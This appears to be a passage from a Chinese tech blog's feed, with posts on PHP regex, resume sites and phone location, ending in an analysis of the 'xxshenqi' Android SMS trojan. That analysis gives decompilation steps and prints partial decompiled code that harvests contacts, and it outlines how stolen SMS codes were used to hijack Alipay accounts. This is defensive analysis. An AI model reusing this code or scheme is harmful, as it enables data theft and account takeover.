&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="x"&gt;&amp;amp;lt;?php&lt;/span&gt;
&lt;span class="x"&gt;if(preg_match(&amp;quot;/php/i&amp;quot;, &amp;quot;PHP is the web scripting language of choice.&amp;quot;, $matches)){&lt;/span&gt;
&lt;span class="x"&gt;print &amp;quot;A match was found:&amp;quot;. $matches[0];&lt;/span&gt;
&lt;span class="x"&gt;} else {&lt;/span&gt;
&lt;span class="x"&gt;print &amp;quot;A match was not found.&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;span class="x"&gt;?&amp;amp;gt;&lt;/span&gt;

&lt;span class="x"&gt;//output&lt;/span&gt;
&lt;span class="x"&gt;A match was found: PHP&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;第二种是查找全部，然后把匹配的都放到一个数组中。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;preg_match_all()&lt;/p&gt;
&lt;p&gt;preg_match_all() 函数用于进行正则表达式全局匹配，成功返回整个模式匹配的次数（可能为零），如果出错返回 FALSE 。&lt;/p&gt;
&lt;p&gt;语法：
int preg_match_all( string pattern, string subject, array matches [, int flags ] ) &lt;/p&gt;
&lt;p&gt;参数说明： &lt;/p&gt;
&lt;p&gt;参数    说明&lt;/p&gt;
&lt;p&gt;pattern   正则表达式&lt;/p&gt;
&lt;p&gt;subject   需要匹配检索的对象&lt;/p&gt;
&lt;p&gt;matches   存储匹配结果的数组&lt;/p&gt;
&lt;p&gt;flags 
可选，指定匹配结果放入 matches 中的顺序，可供选择的标记有：
PREG_PATTERN_ORDER：默认，对结果排序使 $matches[0] 为全部模式匹配的数组，$matches[1] 为第一个括号中的子模式所匹配的字符串组成的数组，以此类推
PREG_SET_ORDER：对结果排序使 $matches[0] 为第一组匹配项的数组，$matches[1] 为第二组匹配项的数组，以此类推
PREG_OFFSET_CAPTURE：如果设定本标记，对每个出现的匹配结果也同时返回其附属的字符串偏移量&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="x"&gt;&amp;amp;lt;?php&lt;/span&gt;
&lt;span class="x"&gt;$str = &amp;quot;&amp;amp;lt;pre&amp;amp;gt;学习php是一件快乐的事。&amp;amp;lt;/pre&amp;amp;gt;&amp;amp;lt;pre&amp;amp;gt;所有的phper需要共同努力！&amp;amp;lt;/pre&amp;amp;gt;&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;$kw = &amp;quot;php&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;preg_match_all(&amp;#39;/&amp;amp;lt;pre&amp;amp;gt;([sS]*?)&amp;amp;lt;/pre&amp;amp;gt;/&amp;#39;,$str,$mat);&lt;/span&gt;
&lt;span class="x"&gt;for($i=0;$i&amp;amp;lt;count($mat[0]);$i++){&lt;/span&gt;
&lt;span class="x"&gt;$mat[0][$i] = $mat[1][$i];&lt;/span&gt;
&lt;span class="x"&gt;$mat[0][$i] = str_replace($kw, &amp;#39;&amp;amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;amp;gt;&amp;#39;.$kw.&amp;#39;&amp;amp;lt;/span&amp;amp;gt;&amp;#39;, $mat[0][$i]);&lt;/span&gt;
&lt;span class="x"&gt;$str = str_replace($mat[1][$i], $mat[0][$i], $str);&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;span class="x"&gt;echo $str;&lt;/span&gt;
&lt;span class="x"&gt;?&amp;amp;gt;&lt;/span&gt;

&lt;span class="x"&gt;//output&lt;/span&gt;
&lt;span class="x"&gt;文本中所有 &amp;amp;lt;pre&amp;amp;gt;&amp;amp;lt;/pre&amp;amp;gt; 标签内的关键字（php）显示为红色。&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;以上引用&lt;a href="http://www.jb51.net/article/39252.htm"&gt;http://www.jb51.net/article/39252.htm&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;小提示&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;获取到数据的存储变量（存储匹配结果的数组）最好用$value[0]这样的形式获取&lt;/li&gt;
&lt;li&gt;注意转义符号，像' " \ 这样在正则表达式出现的符号都要用\' \" \这样的转义符号代替&lt;/li&gt;
&lt;li&gt;多注意PHP输出的错误，百度之。&lt;/li&gt;
&lt;/ol&gt;</content><category term="August"></category><category term="PHP"></category></entry><entry><title>【2014年8月12日】分享一些好的简历生成网站</title><link href="https://blog.chenjia.me/articles/140813-014300.html" rel="alternate"></link><published>2014-08-13T01:43:00+08:00</published><updated>2014-08-13T01:43:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-08-13:/articles/140813-014300.html</id><summary type="html">&lt;p&gt;推荐几个好的 简历网站。&lt;/p&gt;</summary><content type="html">&lt;h1&gt;简历CV&lt;/h1&gt;
&lt;p&gt;很多人都表示简历很重要，毕竟是HR认识你的第一手资料，它的优劣很大程度的关系到你后面的面试。&lt;/p&gt;
&lt;p&gt;然后最近填写了几份简历，发现东西后好雷同，复制粘贴好麻烦。就像有木有一个好的通用简历格式（想想就好）、&lt;/p&gt;
&lt;p&gt;不过这也拖了好久，终于在各种烦心事情结束后有心情给自己写一份比较好看的简历了。&lt;/p&gt;
&lt;h1&gt;如何获得简历&lt;/h1&gt;
&lt;h2&gt;Word模板&lt;/h2&gt;
&lt;p&gt;很多简历网站都提供各种各样的Word简历模板，我们可以根据不同的需求在百度或者office的模板库中寻找模板。个人觉得office 2013模板库中带封面的简历都不错，有兴趣可以去试试，而百度到的模板个人认为都是很久以前的。看上去过于呆板。不太喜欢。&lt;/p&gt;
&lt;h2&gt;网页简历模板生成&lt;/h2&gt;
&lt;p&gt;自动生成模板，注册账户后根据需要生成各种形式模板。&lt;/p&gt;
&lt;p&gt;有两类。&lt;/p&gt;
&lt;p&gt;一类是和大街网这样的网站类似的，填写一份简历模板，然后就可以导出或者直接使用。很方便，推荐。而且国内的某些简历网站支持导入。&lt;/p&gt;
&lt;p&gt;第二类，也就是介绍重点。
个人觉得很不错、&lt;/p&gt;
&lt;p&gt;国内：&lt;a href="http://www.ujianli.com"&gt;http://www.ujianli.com&lt;/a&gt;
国外：&lt;a href="http://cvmkr.com/"&gt;http://cvmkr.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在国外的CVMAKER已经支持中文了！不过还是英文比较好看。&lt;/p&gt;
&lt;p&gt;这 两者都提供账户注册，保存资料，生成简历。&lt;/p&gt;
&lt;p&gt;支持4种格式&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Word（文档）&lt;/li&gt;
&lt;li&gt;Pdf&lt;/li&gt;
&lt;li&gt;png（图片）&lt;/li&gt;
&lt;li&gt;Html（网页）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;基本上满足了所有的需求，推荐~&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;end&lt;/p&gt;
&lt;p&gt;最近使用了ujianli，设计的不错，简洁简单。&lt;/p&gt;</content><category term="August"></category></entry><entry><title>【2014年8月10日】原来，没有GPS，手机是这么定位的</title><link href="https://blog.chenjia.me/articles/140811-004200.html" rel="alternate"></link><published>2014-08-11T00:42:00+08:00</published><updated>2014-08-11T00:42:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-08-11:/articles/140811-004200.html</id><summary type="html">&lt;p&gt;手机如何通过WiFi和基站进行定位&lt;/p&gt;</summary><content type="html">&lt;h1&gt;苹果手机收集个人隐私？&lt;/h1&gt;
&lt;p&gt;最近苹果公司的收集位置信息的新闻被某些媒体大幅报道，看了原理好像并没有那么恐怖，可能最近国内的走势比较那个吧~&lt;/p&gt;
&lt;p&gt;不过这样的好处就是，很多人都知道苹果手机（iOS7）中的常去的地点默认是开启的，这样可以避免多少xxxx的事情发生（笑）。&lt;/p&gt;
&lt;p&gt;其实我最开始也是不知道的。像我这样把设置看过一遍的人都没有注意到这样的小细节，最开始的时候是5月底在知乎上的某个问题里面看到的~不过我还是建议大家关闭吧~毕竟哈哈哈&lt;/p&gt;
&lt;h1&gt;手机是如何定位的？&lt;/h1&gt;
&lt;p&gt;回到正题，大家现在无论是发微博，朋友圈，抑或是各种各样的SNS，都会有习惯带上地点的，那么APP是如何知道你在那里的呢？&lt;/p&gt;
&lt;h2&gt;手机GPS&lt;/h2&gt;
&lt;p&gt;说起GPS大家一定不陌生，很多手机都是默认开启的，不过大家发现他很耗电，然后就经常被关闭。GPS以及现在都用的的A-GPS&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A－GPS技术是一种结合了网络基站信息和GPS信息对移动台进行定位的技术，可以在GSM/GPRS、WCDMA和CDMA2000网络中使用。该技术需要在手机内增加GPS接收机模块，并改造手机天线，同时要在移动网络上加建位置服务器、差分GPS基准站等设备.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;所以很多Android 的ROM说秒定位秒收星就是指A-GPS的服务器地址比较优秀，Andorid同学可以通过设置-定位里面查看GPS的配置&lt;/p&gt;
&lt;h2&gt;网络定位和WiFi定位&lt;/h2&gt;
&lt;p&gt;很久以来我都好奇为什么手机通过WiFi可以定位的如此准确，而我家的WiFi或者学校的WiFi并不具备定位功能。并且我的itouch并没有GPS。
想了很久这个问题，知道今天看到了某个破解论坛的文章，恍然大悟。
发出来给大家看看~&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href="http://www.chinasnow.net/index.php/archives/673" title="超雪"&gt;http://www.chinasnow.net/index.php/archives/673&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先普及一下基站定位的原理：&lt;/p&gt;
&lt;p&gt;如果你在你的手机装过Google Mobile Maps,你就可以发现只要你的手机能连接GPRS/EDGE/3G，即使手机没有GPS功能，也能定位到你手机所在的位置， 只是精度不够准确。这个Google Map所利用的定位，就是基站定位。在探讨这个原理之前，我们需要了解一些移动知识，了解什么是MNC/LAC/Cell ID。&lt;/p&gt;
&lt;p&gt;Mobile Network Code(MNC)
移动网号码，中国联通CDMA系统的MNC为03，中国移动的为00。&lt;/p&gt;
&lt;p&gt;Mobile Country Code(MCC)
移动用户所属国家代号：460&lt;/p&gt;
&lt;p&gt;Location Area Code(LAC)
地区区域码，用来划分区域，一般一个小地方就一个LAC &lt;/p&gt;
&lt;p&gt;Cell Tower ID(Cell ID)
CellID代表一个移动基站，如果你有基站数据，查CellID你就可以知道这个基站在哪里。&lt;/p&gt;
&lt;p&gt;这些信息有什么用呢？ 通过这些信息可以知道你的手机是从哪个国家，区域和哪个基站接入移动网络的。&lt;/p&gt;
&lt;p&gt;这些信息从哪里来呢，一般的手机系统都提供相应的API来获取这些信息（Cell Info），比如Window SmartPhone 或Mobile就是通过RIL.dll里的API来取得，Android和iPhone也能通过FieldTest来查看到，每个手机操作系统不一样，相关的信息可以查相关资料。&lt;/p&gt;
&lt;p&gt;得到了这些信息，如果没有基站信息表（基站的CellID对应的经纬度），得到了这些信息也不知道在哪里，因为只有移动运营商才拥有每个基站的经纬度数据。但Google凭借Android系统，还有路上测试的信息收集车辆，却可以收集到每个基站的大概经纬度。&lt;/p&gt;
&lt;p&gt;早期Google可以采用车辆收集这些信息，车上装载GPS定位，可以准确拿到经纬度信息，与此同时，利用手机，可以获取到周边的基站Cell ID，于是 Cell ID-经纬度这样的对应关系就可以建立起来。要全部利用车辆来收集这些信息是个庞大的工程。Android的智能手机，大多数拥有GPS硬件定位，于是大家的手机在查询Google定位的同时，也给Google提供了很好的定位数据，这些数据通过Google内部的算法，就可以建立非常完善的基站定位数据库了。&lt;/p&gt;
&lt;p&gt;随着Wifi热点的增多，Android现在也可以通过Wifi来定位了，原理跟基站定位差不多。每个无线路由会有一个BSSID，这个就是路由器的标识，与基站的CellID相同。Android手机根据GPS或者基站定位得到大概位置后，再把周边的Wifi的BSSID提交到Google服务器，于是这些路由器的具体位置也被大概定位出来了。当下一个用户搜索到某个Wifi信号，这个Wifi位置信息曾经被另外一位用户上传过，于是马上就可以得知其具体位置。&lt;/p&gt;
&lt;h2&gt;为什么部分4G用户无法定位了？&lt;/h2&gt;
&lt;p&gt;如果你看懂了上面的基站定位原理，估计就能够猜到原因了： 4G基站的LAC，CI还没有足够的终端上传关联数据！&lt;/p&gt;
&lt;p&gt;也就是说，目前4G终端数量还不够多，所以Google/苹果取得的基站LAC，CI跟GPS所关联的数据还不够多。如果你所在的位置的基站，在服务端上还没有对应的位置信息，那么就无法定位到你所在的大概位置（但室外定位，靠GPS信号，还是能够准确获得你的位置）&lt;/p&gt;
&lt;p&gt;PS：把4G功能关闭，采用2G，你又会发现，室内定位又正常了！这是因为2G，3G基站的数据，早已经采集足够多了！&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;恩说的很详细~恍然大悟啊~&lt;/p&gt;
&lt;h1&gt;最后&lt;/h1&gt;
&lt;p&gt;所以说苹果手机位置服务有的时候也是为了我们的方便呀~是不是~&lt;/p&gt;
&lt;p&gt;这样就很好解释了为什么最开始在家的时候WiFi定位不准而有一次回家后定位就很精确了。&lt;/p&gt;
&lt;p&gt;不过，说一个奇怪的事情，有一次在学校自习无聊，然后拿出touch来看定位，结果发现定位一直在动，就像一个人拿着手机打电话的走动，现在想想或许那个手机和我连接的是一个相同的WiFi，然后他在打电话而他的手机开着GPS，我在看定位，然后我就 监控了他的行踪。&lt;/p&gt;
&lt;p&gt;细思恐极。&lt;/p&gt;</content><category term="August"></category><category term="iOS"></category><category term="Android"></category></entry><entry><title>说一说“xxshenqi”这个事情吧</title><link href="https://blog.chenjia.me/articles/140804-112100.html" rel="alternate"></link><published>2014-08-04T11:21:00+08:00</published><updated>2014-08-04T11:21:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-08-04:/articles/140804-112100.html</id><summary type="html">&lt;p&gt;已经过去两天了，本应该在昨天出现的文字因为研究了一个其他方向的东西没时间写了~今天补上。&lt;/p&gt;
&lt;h1&gt;TA是什么&lt;/h1&gt;
&lt;p&gt;2014年8月2日突然媒体报道一个超级病毒在大陆流行 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;已经过去两天了，本应该在昨天出现的文字因为研究了一个其他方向的东西没时间写了~今天补上。&lt;/p&gt;
&lt;h1&gt;TA是什么&lt;/h1&gt;
&lt;p&gt;2014年8月2日突然媒体报道一个超级病毒在大陆流行，以群发短信为目的，受害者大多被扣了好多话费，随后各种杀毒软件和运营商都出来表示自己是第一个拦截了改病毒，并且把他加入了病毒库。危险等级是高。&lt;/p&gt;
&lt;h1&gt;TA的危害在哪里&lt;/h1&gt;
&lt;p&gt;改软件的行为是诱导用户输入注册信息，诱导安装木马，然后向用户通讯录用户的所有手机用户发短信，并把注册信息发给作者，新短信发到作者邮箱。&lt;/p&gt;
&lt;p&gt;简单的看了一下，如果说作者是想获利的话，获利点应该是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;个人信息，以及其联系人信息&lt;/li&gt;
&lt;li&gt;支付宝&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对于支付宝，根据源代码，可以有一下猜测&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A中了xxshenqi病毒，在软件注册页面输入个人信息，随后作者手机18670259904收到包括手机号，姓名，身份证号码，作者在支付宝点击忘记密码，输入A的身份证号码，然后A收到的短信验证码通过木马发送到作者的邮箱137736513@qq.com，作者输入验证码后成功修改密码，进入用户支付宝中进行操作&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;APK逆向和代码分析&lt;/h1&gt;
&lt;p&gt;看了报道作者已经被抓了，华南大学的贴吧里面也显示出其是软件学院大一的学生，更有人分析了他的罪与罚。这些都不属于我们讨论的范围。表示大家都是写代码的，一定不能开太大的玩笑。&lt;/p&gt;
&lt;p&gt;其次，这份代码应该是比较基本的Android代码，并没有利用任何Android漏洞，根据编码习惯推测应该是一个C++的人转Java写的，代码没有任何的混淆，以及对一些个人信息的保护。&lt;/p&gt;
&lt;h2&gt;前期准备&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;解压软件&lt;/li&gt;
&lt;li&gt;dex2jar&lt;/li&gt;
&lt;li&gt;jd-gui&lt;/li&gt;
&lt;li&gt;xxshenqi.apk&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;APK解包分析&lt;/h2&gt;
&lt;p&gt;用解压软件打开APK文件，发现&lt;code&gt;asssets&lt;/code&gt;目录下有一个叫做&lt;code&gt;com.android.Trogoogle.apk&lt;/code&gt;的文件，看上去就是安装第一个apk后在某个时候会自动安装这个木马Tor开头不就代表的是木马么。&lt;/p&gt;
&lt;p&gt;以下是基础的Android逆向过程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;解压出classes.dex文件，这个是安卓源代码编译过的字节码的包&lt;/li&gt;
&lt;li&gt;将该文件放到dex2jar目录下（这样是比较方便）&lt;/li&gt;
&lt;li&gt;CMD到该目录，或者编写Bat文件，执行或写入该命令&lt;code&gt;d2j-dex2jar.bat classes.dex&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;等待完成后，目录下会出现一个文件&lt;code&gt;classes_dex2jar.jar&lt;/code&gt;，将其复制到一个地方&lt;/li&gt;
&lt;li&gt;打开jd-gui.exe，将刚才的jar文件拖入打开，我们就可以看到源代码了。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="pic1" src="https://i.imgur.com/QfLmoxc.png"&gt;
这就是第一个APK的基本源代码&lt;/p&gt;
&lt;p&gt;同样的步骤我们解压Trogoogle的那个apk，获得其源代码。&lt;/p&gt;
&lt;p&gt;在Torgoogle中，我们发现了第三方jar包mail.jar，说明这位同学还是很有心学习的。&lt;/p&gt;
&lt;h2&gt;步步分析&lt;/h2&gt;
&lt;p&gt;通过代码和软件行为来一步步的分解该病毒，以及解释一些该病毒中的不该出现的错误，也是为神马作者很快就会被警方抓获的原因。&lt;/p&gt;
&lt;p&gt;首先我们观察代码的activity，发现在WlecomeAcitivity中有如下代码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startActivity&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
    &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;finish&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;很明显该activity就是入口的avitvity。&lt;/p&gt;
&lt;p&gt;所以我们知道程序是这么运行的，welcome-&amp;gt;main-&amp;gt;点击注册button-&amp;gt;register&lt;/p&gt;
&lt;p&gt;然后我们开始分析代码：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;WlecomeActivity&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;程序开始就执行了&lt;code&gt;ReadCONTACTS()&lt;/code&gt;这个方法，我们看看他在做什么&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;ReadCONTACTS&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;paramContext&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contactArray&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;paramContext&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getContentResolver&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ContactsContract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Contacts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;CONTENT_URI&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;cursor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;moveToNext&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;counts&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;cursor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;cursor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getColumnIndex&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;_id&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
      &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nameString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;cursor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;cursor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getColumnIndex&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;display_name&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
      &lt;span class="n"&gt;Cursor&lt;/span&gt; &lt;span class="n"&gt;localCursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getContentResolver&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ContactsContract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;CommonDataKinds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Phone&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;CONTENT_URI&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;contact_id = &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;ArrayList&lt;/span&gt; &lt;span class="n"&gt;localArrayList&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="n"&gt;localArrayList&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\r\n&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;WelcomeActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nameString&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
      &lt;span class="o"&gt;{&lt;/span&gt;
